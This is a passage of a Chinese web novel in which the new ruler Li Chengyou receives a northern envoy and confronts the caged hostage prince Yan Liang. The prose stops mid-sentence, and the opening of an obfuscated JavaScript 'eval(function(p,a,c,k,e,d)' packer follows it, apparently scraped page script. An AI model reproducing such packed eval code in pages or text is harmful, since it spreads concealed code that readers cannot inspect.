此虞国湮灭,海国代之。
海国,水都,金銮殿。
烛光摇曳,大殿内空无一人,李承佑负手立于龙椅之下,仰头望着匾额静默。
不多时,殿内入一人。
“外臣,拜见国主。”
“免礼。”
李承佑转身,来人一身黑袍,皮肤黝黑,便是那北国黑鹰使臣。
“国主好胆量。外臣佩服。”使臣微微鞠躬。
李承佑点头:“朕与你们国主有着相同的信念,朕既登位成功便会遵守诺言,两国和平。但卿要明白,此一局落定,还有后一局,望北国国主同样遵守诺言,不再进犯。”
她说得淡然,可言语之间却暗藏威严。
使臣低头,不卑不亢:“我国主愿献上质子,以表诚意。”
自从那日见过李承佑,燕良便一直处于紧张状态。
他的视线被黑布阻隔,压根不清楚自己在哪,且身下铁笼总是摇晃,显然是在移动,待到好不容易落地了却又无人再来审问。
无尽的孤寂和黑暗将他吞噬,他疯狂拍打铁笼,大声吼叫,可依旧无人搭理,好似他独独被世间遗忘,就算消逝了也不会有人知晓,更不会有人埋葬。
拉扯铁链,他双目通红不知多久没睡,口中上下犬牙摩擦铁杆磨得嘴角干裂出血,低吼,他想要撕碎黑布,可双手又被吊在铁杆上不得移动,不用想他都知道,自己现在狼狈又屈辱。
突然,黑布透了亮,脚步声朝他靠近。
“是谁?你们是谁?”
无人回答,但又将他提起。
“你们要带我去哪?我要见李承佑。说话,我要见李承佑!”
他在笼中摇晃,怒火烧得理智的弦要断不断。
很快,他又被移动到了哪,那些人又走了,另一个脚步声向他靠近。
他似乎有了预感,在光线进来前及时闭眼。
“良世子,好久不见。”
“果然是你......这是哪?”
“世子自己睁开眼看看,不就明白了。”
他闭紧了眼,缓和了好一会才适应,小心睁眼,抬头,确实是李承佑,身披黄袍的李承佑。
瞪大了眼,心底瞬
;eval(function(p,a,c,k,e,d){e=function(c){return(c